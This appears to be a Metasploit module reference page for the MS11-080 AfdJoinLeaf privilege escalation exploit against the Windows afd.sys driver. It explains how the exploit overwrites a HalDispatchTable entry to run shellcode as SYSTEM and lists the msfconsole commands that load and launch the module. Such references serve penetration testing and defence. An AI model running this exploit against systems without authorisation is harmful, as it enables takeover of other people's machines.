MS11-080 AfdJoinLeaf Privilege Escalation

Description

This module exploits a flaw in the AfdJoinLeaf function of the afd.sys driver to overwrite data in kernel space. An address within the HalDispatchTable is overwritten and when triggered with a call to NtQueryIntervalProfile will execute shellcode. This module will elevate itself to SYSTEM, then inject the payload into another SYSTEM process before restoring its own token to avoid causing system instability.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/local/ms11_080_afdjoinleaf
msf exploit(ms11_080_afdjoinleaf) > show targets
    ...targets...
msf exploit(ms11_080_afdjoinleaf) > set TARGET < target-id >
msf exploit(ms11_080_afdjoinleaf) > show options
    ...show and set options...
msf exploit(ms11_080_afdjoinleaf) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
